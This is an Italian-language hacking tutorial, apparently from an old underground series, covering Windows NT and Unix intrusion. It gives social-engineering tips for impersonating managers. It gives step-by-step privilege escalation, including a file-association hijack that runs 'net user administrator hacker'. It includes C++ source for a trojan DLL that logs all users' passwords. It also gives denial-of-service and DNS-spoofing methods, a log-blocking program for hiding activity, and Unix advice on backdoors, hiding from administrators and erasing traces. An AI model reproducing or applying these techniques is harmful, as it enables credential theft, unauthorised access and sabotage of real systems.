NOTA: in alcuni casi puo` essere utile utilizzare la tecnica delle FakeMail
per inviare un "ordine di servizio" a qualcuno da parte di una persona (un
dirigente, ad esempio) di cui si conosca pero` l'indirizzo di email.
Ricordate pero` che, in caso di risposta, l'email andra` all'indirizzo falso
che avremo utilizzato (cioe` quello del dirigente!).
Se avessimo invece voluto fare qualcosa di piu` complicato, come ottenere un
qualche tipo di informazioni piu` o meno riservate da una grande azienda,
avremmo dovuto utilizzare (preferibilmente) il telefono.  Avere prontezza
di riflessi, sicurezza e una voce "adatta allo scopo" in tal caso sara`
indispensabile se non si vuole mandare tutto a monte.
Nel caso di personale particolarmente attento (raro...), del tipo che vuole
chiedere prima un'autorizzazione al capo e roba del genere, e` utile far
capire di avere altri affari da sbrigare, di essere seccati dall'inettitudine
di quell'impiegato e roba del genere... perdere la pazienza, insomma, senza
essere ne` patetici ne` isterici.
Il resto e` lasciato a voi.

      
HACKING AVANZATO DI WINDOWS NT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Dal momento che ci stiamo accingendo ad esplorare Windows NT, mi aspetto che
conosciate gia` il funzionamento dei Registry di Windows, in quanto una loro
trattazione esula dall'hacking ed e` comunque reperibile sia in libreria che
su Internet.
Mi limitero` quindi a ricordare solo le basi della sicurezza in Windows NT:
LSA (Local Security Authority, ovvero Autorit… di Sicurezza Locale)
E` conosciuto anche con il nome di Security Subsystem (Sottosistema di
Sicurezza).  E` il componente centrale della sicurezza NT ed Š preposto
all'autenticazione degli utenti e all'audit (logging).
SAM (Security Account Manager, ovvero Manager di Sicurezza degli Account)
Fornisce autenticazione al LSA e controlla i gli account per gruppi e utenti.
SRM (Security Reference Monitor, ovvero Monitor della Referenza di Sicurezza)
Controlla gli account ogniqualvolta un utente cerca di accedere a un file o
directory e gli da o nega il permesso in base ai suoi privilegi d'accesso, e
comunica le infrazioni al LSA tramite messaggi di audit.
UI (User Interface, ovvero Interfaccia Utente)
E` in pratica quello che l'utente vede, cioe` l'interfaccia con la quale egli
interagisce e che comunica in modo invisibile con gli elementi appena visti.
ACL (Access Control List, ovvero Lista di Controllo dell'Accesso)
Ogni utente ha una ACL che rappresenta i suoi permessi e privilegi in fatto
di directory, file, ecc.
L'autenticazione degli utenti funziona nel modo seguente: l'utente effettua
il login, NT crea un token che rappresenta quell'utente e associa al token i
privilegi che trova nella sua ACL, e agisce in base ad essi.
Procederemo ora per quesiti, in modo da rendere piu` agevole la lettura.
QUESITO 1: Quali sono i permessi di default?
Questi sono i permessi per gli utenti di default:
- Server Operators:  spegnimento, anche da remoto; reset dell'orologio di
                     sistema; backup e restore.
- Backup Operators:  spegnimento; backup e restore.
- Account Operators: spegnimento.
- Print Operators:   spegnimento.
Questi sono i permessi per le directory di Windows NT:
\(root), \SYSTEM32, \WIN32APP
Server Operator e Everyone possono leggere ed eseguire file, mostrare i
permessi e cambiare gli attributi dei file.
\SYSTEM32\CONFIG
Everyone puo` effettuare una DIR in questa directory.
\SYSTEM32\DRIVERS, \SYSTEM\REPL
Server Operator ha accesso completo. Everyone ha solo accesso in lettura.
\SYSTEM32\SPOOL
Server Operator e Print Operator hanno accesso completo. Everyone ha solo
accesso in lettura.
\SYSTEM32\REPL\EXPORT
Server Operator puo` leggere ed eseguire file, permessi e attributi.
Replicator ha solo accesso in lettura.
\SYSTEM32\REPL\IMPORT
Server Operator e Replicator possono leggere ed eseguire file, permessi e
attributi. Everyone ha accesso in lettura.
\USERS
Account Operator puo` leggere, scrivere, cancellare ed eseguire file.
Everyone puo` effettuare una DIR.
\USERS\DEFAULT
Everyone pu• leggere, scrivere ed eseguire file.
QUESITO 2: Qual'e` l'account pi— interessante?
Sicuramente l'account dell'amministratore (SysAdmin), ma potrebbe essere
stato rinominato... in tal caso, basta eseguire "NBTSTAT -A ipaddress" per
conoscere il nuovo nome dell'account e opzionalmente anche un elenco completo
di quali servizi sono in funzione, il nodename e l'eventuale indirizzo
hardware dell'ethernet (in caso di LAN).
QUESITO 3: Dove si trovano le password in Windows NT?
Da nessuna parte.  Windows NT (come anche UNIX) non immagazzina le password,
ma bensi` un hash (valore numerico calcolato in base alla password, dal quale
non si puo` risalire alla stringa originale, in quanto e` solo un numero).
Per crackare gli hash si puo` utilizzare il programma PWDUMP (lo potete
trovare sui siti hacker) e comunque si tratta di un attacco basato su
dizionari, quindi di tipo "brute force" (forza bruta).
Quindi, dicevamo, la domanda giusta sarebbe: "dov'e` l'elenco degli hash?"
La risposta e`: nella directory \WINNT\SYSTEM32\CONFIG c'e` un file chiamato
SAM.  E` questo il database che cerchiamo. E` leggibile da tutti gli utenti
(a meno che quel simpaticone del SysAdmin non ci abbia messo lo zampino), ma
comunque non si puo` leggere in quanto bloccato (via sharing) perche` e` in
uso dai componenti di sistema di NT.  A questo punto il SysAdmin giubila ed
esulta, ma l'hacker sa dell'esistenza di SAM.SAV che Š il backup di SAM...
Inoltre, durante l'installazione di NT, una copia del SAM viene posta in
\WINNT\REPAIR.  Quasi sicuramente troveremo solo gli account Administrator e
Guest, ma credo che Administrator (SysAdmin) sia abbastanza...
A proposito del SAM... se siete completamente pazzi potete anche mettere le 
vostre manacce nelle keys del SAM.  Per esempio, schedulando il servizio di 
logon come LocalSystem e permettendogli di interagire con il desktop, e poi 
schedulando una sessione interattiva di regedt32.exe (come LocalSystem) con 
il quale manipolare le keys.  Ovviamente se non sapete a cosa serve tutto questo 
sar… meglio non toccare niente, altrimenti saranno guai grossi...
QUESITO 4: Come accedere al file system se e` di tipo NTFS anziche` FAT ?
Se siete vicini alla macchina (cioe` in locale), effettuate un boot tramite
un dischetto MS-DOS ed eseguite NTFSDOS.EXE per accedere al NTFS.  Oppure
potete utilizzare il dischetto di boot di Linux... in pratica basta
semplicemente eseguire Linux.  Pu• sembrare strano, ma cio` vi dara` accesso
totale al file system in quanto Linux puo` leggere NTFS.
QUESITO 5: Sono vicino alla console locale, come accedo alle informazioni
           degli altri computer?
Se il computer sul quale vi trovate e` un domain controller (oppure se e`
collegato al computer) bastera` fare quanto segue:
1.  Da USER MANAGER, create una trusting relationship (rapporto di fiducia)
    con l'obiettivo.
2.  Inserite la password (quello che volete).  Sembrera` non funzionare, ma
    l'obiettivo sar… ora nella vostra trusting list.
3.  Avviate NT Explorer e cliccate col tasto destro del mouse su qualsiasi
    cartella.
4.  Selezionate SHARING (condivisione).
5.  Dalla finestra SHARED, selezionate ADD ("aggiungi", se NT Š in italiano).
6.  Dal menu ADD, selezionate il vostro obiettivo (il server "vittima").
7.  Ora vedrete l'intera lista dei gruppi dell'obiettivo.
8.  Selezionate SHOW USERS e vedrete l'intera lista utenti, completa di nomi
    dei file, directory e descrizioni...
QUESITO 6: Ho accesso Administrator, come accedere alla lista degli utenti?
Ah ci siete riusciti, bene bene... ;)  Usate questo metodo:
- Eseguite NBTSTAT -A ipaddress
- Aggiungete il nome che otterrete al file LMHOSTS
- Se la versione di NT Š inferiore alla 4, digitate NBTSTAT -R per effettuare
  il refresh dei nomi del NetBios
- Eseguite NET VIEW \\nomemacchina per vedere gli shares ("condivisioni")
- Eseguite DIR \\nomemacchina\share per listare gli shares (se aperti)
- Eseguite NET VIEW \\ipaddress oppure NET VIEW \\nome.completo.com se usate
  Windows NT 4.0
QUESITO 7: Ho accesso Guest... come faccio ad avere accesso Administrator?
NT 3.51 ha varie directory (e file) leggibili e scrivibili da tutti gli
utenti per default.  Potete editare le associazioni tra un'applicazione e i
file dati, usando REGEDT32.EXE, ma prima dovete creare (e compilare)
un'applicazione per Win32 (magari in Delphi o C++ a 32-bit) che si limiti ad
eseguire i seguenti comandi e nient'altro:
        net  user  administrator  hacker  /y
        notepad  %1  %2  %3  %4  %5 
Inviate (tramite upload) questa "applicazione" in una share (directory di
condivisione) a cui avete accesso e cambiate l'associazione tra i file .txt e
notepad in modo che punti alla locazione completa del vostro file (ad esempio
\\NomeWorkstation\RWShare\hahaha.exe).
Non appena un file di testo verra` visualizzato da qualcuno sul server,
quell'associazione verra` eseguita e sara` attivato l'user Administrator con
password "hacker", alla faccia del SysAdmin...
Per questo motivo, se io fossi il SysAdmin eliminerei il permesso Everyone
dalla chiave HKEY_CLASSES_ROOT dei registry, dando l'accesso completo solo a
Creator e Owner.
QUESITO 8: La SYSTEM32 nella directory di sistema di NT Š scrivibile, cosa
           si potrebbe fare?
Se il sistema e` un Windows NT versione 4.0 la risposta e`: molte cose... :)
Basta creare un troiano sotto forma di DLL e rinominarlo FPNWCLNT.DLL e
quindi metterlo in quella directory.  Ad esempio, utilizzando questo troiano
scritto in C++ troverete nella directory \TEMP del server tutti gli username
e password di tutti gli utenti che accedono al sistema...
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
struct UNI_STRING {
  USHORT len;
  USHORT maxlen;
  WCHAR *buff;
  };
static HANDLE fh;
BOOLEAN __stdcall InitializeChangeNotify ()
{
  DWORD wrote;
  fh = CreateFile("C:\\temp\\shinva.txt", GENERIC_WRITE,
    FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,
    0);
  WriteFile(fh, "Procedura InitializeChangeNotify avviata\n", 31, &wrote, 0);
  return TRUE;
}
LONG __stdcall PasswordChangeNotify (struct UNI_STRING *user, ULONG rid,
  struct UNI_STRING *passwd)
{
  DWORD wrote;
  WCHAR wbuf[200];
  char buf[512];
  char buf1[200];
  DWORD len;
  memcpy(wbuf, user->buff, user->len);
  len = user->len/sizeof(WCHAR);
  wbuf[len] = 0;
  wcstombs(buf1, wbuf, 199);
  sprintf(buf, "User = %s : ", buf1);
  WriteFile(fh, buf, strlen(buf), &wrote, 0);
  memcpy(wbuf, passwd->buff, passwd->len);
  len = passwd->len/sizeof(WCHAR);
  wbuf[len] = 0;
  wcstombs(buf1, wbuf, 199);
  sprintf(buf, "Password = %s : ", buf1);
  WriteFile(fh, buf, strlen(buf), &wrote, 0);
  sprintf(buf, "RID = %x\n", rid);
  WriteFile(fh, buf, strlen(buf), &wrote, 0);
  return 0L;
}
Quando analizzate il vostro "log file" controllate se ci sono username con
SID pari a -500 (SysAdmin).  Guest ha SID pari a -501.
Ovviamente bisognera` riavviare il server dopo aver inviato la DLL, per
farla attivare.
QUESITO 9: Mi trovo con la schermata di login di NT (quella che esce premendo
           CTRL-ALT-DEL), come faccio per bypassarla?
Ecco qui di seguito spiegata la procedura per liberarsi dello screen-saver
(funziona solo con NT inferiore alla versione 4.0).
Basta entrare come Administrator e verra` mostrato lo schermo del desktop per
alcuni secondi.  Utilizzando il mouse (prima che lo schermo desktop non sia
piu` accessibile) si possono effettuare modifiche, spostamenti, ecc.
Se cio` non dovesse accadere perche` e` stato installato il Service Pack
(sulla 3.x) c'e` ancora una speranza: bisognera` andare su un'altra
workstation e digitare "shutdown \\nomecomputer /t:30" in modo che venga
attivato uno shutdown (spegnimento) entro 30 secondi sul computer "vittima"
e appaia una Security Window.  A questo punto si potra` digitare il comando
"shutdown \\nomecomputer /a" in modo che lo shutdown venga annullato.
Andando sul computer "vittima" e muovendo il mouse lo schermo si cancellera`
e potremo premere CTRL-ALT-DEL per far apparire di nuovo la Security Window.
Si scelga "cancel" e si avra` immediatamente accesso al Program Manager!
QUESITO 10: Come faccio a sapere da remoto se si tratta di NT o 95 ?
In genere e` usanza dei Webmaster scrivere nelle pagine Web "Noi usiamo
Windows NT" o qualcosa del genere, ma nella maggioranza dei casi ci
limiteremo a controllare che la porta 135 sia aperta (tramite un port
scanner o una semplice connessione via Telnet).
A questo punto bastera` dare un'occhiata ai registry: se
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT esiste, saremo sicuri che non
si tratti di Windows 95.
Infine, uno sguardo alla key \CurrentVersion\CurrentVersion ci permettera` di
capire di quale versione si tratta.
In alternativa, si puo` controllare l'esistenza delle porte del NetBios (137
e 139) e dei servizi SMB.
QUESITO 11: Come faccio ad utilizzare il modo di trasferimento passivo sul
            server FTP se non e` attivo?
Se il server FTP utilizzato e` quello di default (Microsoft), bastera`
editare una key dei registry di Windows NT:
   System\CurrentControlSet\Services\MSFTPSVC\Parameters
   chiave:  EnablePortAttack,REG_DWORD
e abilitarla settandola a 1.
QUESITO 12: Come trashare un sistema che utilizza NT ?
Se lasciamo perdere i metodi "tradizionali" (lavorando sui file), eccone
alcuni "alternativi" da far gustare al SysAdmin...
Aprendo una connessione Telnet alla porta 53 del server e digitando una
decina di caratteri a caso seguiti da invio, bloccheremo il DNS del server
fino al riavvio del sistema... niente piu` host name, solo IP address!
Oppure magari vogliamo trasformare il suo Pentium II 233 Mhz in uno 8086 8
Mhz?  Niente di piu` facile, basta collegarsi via Telnet (come sopra) alla
porta 135.  Se la porta risponde, facendo come nel caso del DNS, avremo
rallentato del 100% la velocit… della CPU...
E se poi il SysAdmin utilizza IIS Microsoft come Web server, una connessione
alla porta 1031 gli fara` passare la voglia di usare i programmi di Bill
Gates.  Oppure possiamo collegarci alla porta 80 e inviare "GET ../.." per
crashare il tutto...
Per causare un riavvio improvviso del sistema o un crash (solo con NT
inferiore alla versione 4.0 e NT senza Hotfix) si puo` utilizzare una tecnica
conosciuta con il nome di "Ping of Death".  Si tratta di inviare un pacchetto
ICMP enorme.  Ecco cosa succedera`: il server ricevera` il pacchetto in forma
frammentata, quindi sotto forma di moltissimi piccoli pacchetti.  Quando
tentera` di riassemblarli, si avr… un buffer overflow e potranno accadere le
cose piu` disparate.  Da Windows 95 e Windows NT basta digitare:
   ping -165527 -s 1 nomevittima
L'attacco del SYN flood (o del FIN flood) implica un invio di una quantita`
enorme di pacchetti forgiati con un IP address sorgente non esistente.
Windows NT e` vulnerabile fino alla versione 4.0 senza Hotfix.
Infine, ad un piu` alto livello, inviando ad un server NT 4.0 un semplice
pacchetto DNS di risposta (senza che il server lo abbia richiesto), DNS
crashera`.
Con il comando smbmount su Linux 2.0.28+ si puo` inoltre causare un crash con
errore di protezione su un server, eseguendo il comando:
   smbmount //vittima/servizio /mnt -U nomeclient
Se il file ROLLBACK.EXE e` presente sul server (o se ce lo mettiamo noi...)
possiamo eseguirlo e goderci lo spettacolo: i Registry verranno completamente
azzerati.  Inoltre, se blocchiamo una porta (ad esempio la 19, detta chargen)
il server eseguira` automaticamente ROLLBACK per cercare di risolvere il
problema...
Per chi poi conosce a fondo hacking e spoofing, la cosa piu` divertente resta
la forgiatura dei pacchetti DNS (di tipo UDP).
Effettuando una richiesta DNS e utilizzando uno sniffer per intercettare i
pacchetti di risposta e catturare i numeri ID di riposta DNS e` possibile
inviare falsi pacchetti DNS a un server in modo che chiunque chieda il suo
IP address la risposta sia quella che desideriamo.  In pratica, chiunque si
colleghera` a quel server si colleghera` in pratica al server che vogliamo
noi, dato dall'IP address che abbiamo inviato nel pacchetto "forgiato".
Con questo metodo, applicato ad altri servizi, e` possibile fare copie di
tutte le email che transitano sul sistema, inibire l'accesso ai servizi,
re-routing, e molto altro ancora.
QUESITO 13: Come impedire a chiunque, anche al SysAdmin, di accedere a uno o
            piu` file?
Ad esempio con questo programmino in C si puo` bloccare un file per quanto
tempo si desidera, passando (al programma) il nome del file da bloccare:
#include <windows.h>
    void main(int ac, char *av[])
    {
      HANDLE fp;
      fp = CreateFile(av[1], FILE_READ_DATA, 0, 0, OPEN_EXISTING, 0, 0);
      if (fp == INVALID_HANDLE_VALUE)
        exit(GetLastError());
      Sleep(60000)     {  tempo di bloccaggio espresso in: secondi * 1000  }
      exit(0);
    }
A che puo` servire bloccare un file?  Beh, ad esempio, se blocchiamo un file
di log per un'ora e hackeriamo il server per un'ora, il SysAdmin non ne
sapra` mai niente...
QUESITO 14: Cos'altro si puo` fare con i Registry?
Troppo lungo da spiegare... come dico sempre, basta usare la fantasia...
Comunque ci sono un paio di cosette ancora.  Ad esempio, per effettuare il
logging del PPP basta selezionare...
HKEY_LOCAL_MACHINE\CurrentControlSet\Services\RasMan\PPP
	   valore = Logging
	   valore = REG_DWORD
   valore = 1  (settare questo valore)
mentre per abilitare quello della seriale basta selezionare Parameters
(anziche` PPP) come ultimo valore della key.
Una cosa molto utile e` la possibilita` di eseguire le applicazioni che
abbiamo inviato (troiani, ad esempio) e per farlo possiamo modificare una di
queste due keys...
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VXD
aggiungendo una nuova key di tipo StaticVxd e inserendo il percorso completo
dell'applicazione, oppure...
HKEY_LOCAL_MACHINE\\Software\Classes\txtfile\shell\open\command
per sfruttare il metodo delle associazioni (file di testo, in questo caso)
per eseguire la nostra applicazione.
Il vantaggio della prima key e` che l'applicazione verra` eseguita a Ring-0
(quindi con accesso completo sul sistema operativo e sulle sue risorse, anche
a basso livello, su memoria, disco rigido, ecc).
Buon hacking con NT...
      
VIRTUOSISMI TECNICI: PARTE 2
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Questo file conclude il capitolo iniziato nel volume 11, sulle tecniche
avanzate di hacking su Unix (da leggere quando sarete piu` esperti).
Alcune di queste tecniche sono abbastanza conosciute, mentre altre sono
(relativamente) nuove.
Ricordate sempre che:
 - fare del port surfing (connettersi via Telnet alle porte di un server
   per trovare vie d'accesso non controllate e informazioni utili) e
   studiare il funzionamento dei servizi leggendo le RFC presenti su Internet
   e` utilissimo per scoprire molte vulnerabilita` di un generico sistema;
   vi meraviglierete di quello che potrete trovare: outdial (collegamenti
   via modem che vi permettono di telefonare ovunque nel mondo, anche a casa
   vostra, digitando comandi standard Hayes direttamente nel modem del
   server che state hackerando), liste di informazioni sulla struttura
   interna del network (come nel caso della porta 15, detta "netstat"),
   possibilita` di manipolare un servizio per fare le cose piu` disparate
   e attacchi all'integrita` del sistema, per dirne qualcuna...
 - installare una backdoor e` spesso necessario: anche se al momento il
   SysAdmin non sa della vostra presenza, prima o poi se ne accorgera` ed
   eliminera` il vostro account; inoltre dai log potrebbe risalire al modo
   in cui siete "entrati" nel sistema, e correggere il problema: in tal caso,
   installare una backdoor preventivamente (cancellando le tracce di ogni
   operazione come descritto in uno dei precedenti volumi) e` indispensabile;
Ecco altri consigli piu` o meno avanzati:
 - nascondetevi da utmp e dai comandi come "who" utilizzando il programma
   incluso in uno dei precedenti volumi, in modo che nessuno potra` notare
   la vostra presenza del sistema (per maggior sicurezza collegatevi di
   notte o al mattino presto);
 - manipolate i file .rhost per poter accedere senza restrizioni da remoto;
 - se siete in grado di programmare e conoscete *bene* Unix, potete
   installare delle nuove chiamate di sistema che svolgano le operazioni che
   vi servono (una per la gestione dei file e dei loro permessi, una di
   riserva per l'esecuzione shell, e cosi` via) e disabilitare i controlli
   per l'accesso root al sistema, manipolando la kernel (argomento troppo
   complicato per poter essere spiegato in questi volumi);
 - se avete accesso in scrittura a /dev/kmem cambiate il vostro userid; se
   invece avete solo accesso in lettura, scrivete un programmino in C che
   intercetti le sessioni degli altri terminali (TTY) per intercettare le
   password degli altri utenti;
 - modificate i permessi d'accesso dei file piu` interessanti, come /dev/mem
   e copiate la shell /bin/sh nella vostra directory utente, in una directory
   nascosta (oppure un .term) sotto falso nome e create degli script SUID;
 - editate gli script (.login .profile .cshrc ecc...) per installare troiani;
 - controllate se esistono password nel file .netrc (potrebbero esservi
   utili per accedere ad altri account);
 - provate sempre ad utilizzare i programmi in modo "non previsto" ;) per
   trovare nuovi bugs: scrivendo !/bin/sh nella schermata di un comando come
   "more" o "man", ad esempio, potreste riuscire ad accedere alla shell...
 - fate lo stesso con le chiamate di sistema, passando loro parametri non
   previsti;
 - controllate i file system utilizzando il comando showmount e state attenti
   ai permessi... potreste trovare intere partizioni accessibili a chiunque!
 - controllate l'esistenza dei seguenti bugs:
     lpr -r nomefile           stampera` il file e lo cancellera` (utile in
                               caso di file per i quali non avete permessi)
     su username -c /bin/sh    dara` accesso a /bin/sh all'account username
 - esplorate i file SUID utilizzando il comando:
     find / -perm -6000 -ls
   per accedere a uno di essi, basta utilizzare il comando "ln" per creare un
   link al file interessato, con il nome "-i", e quindi eseguire il link cosi`
   creato;
 - eliminate SEMPRE le vostre tracce e prendete ogni precauzione nel
   collegarvi e nel fare qualsiasi cosa: questo vale tanto per un semplice
   provider che per un mainframe del Pentagono (forse un po` di piu` in
   quest'ultimo caso... ;)
Un buon metodo per trovare informazioni di ogni tipo (username e password di
altri utenti - anche di root, se siete fortunati - posta elettronica di altri
e intere sessioni di chat, per citarne alcune) e` creare un programmino in C
che allochi quanta piu` memoria possibile, e poi cercare nel blocco allocato
(oppure salvare l'intero blocco e scaricarselo per controllarlo con piu`
calma).
Cio` che accade e` questo: per soddisfare la vostra richiesta di spazio in
memoria, il sistema mettera` a disposizione quella usata in precedenza dalle
altre applicazioni, senza pero` preoccuparsi di ripulirla! =)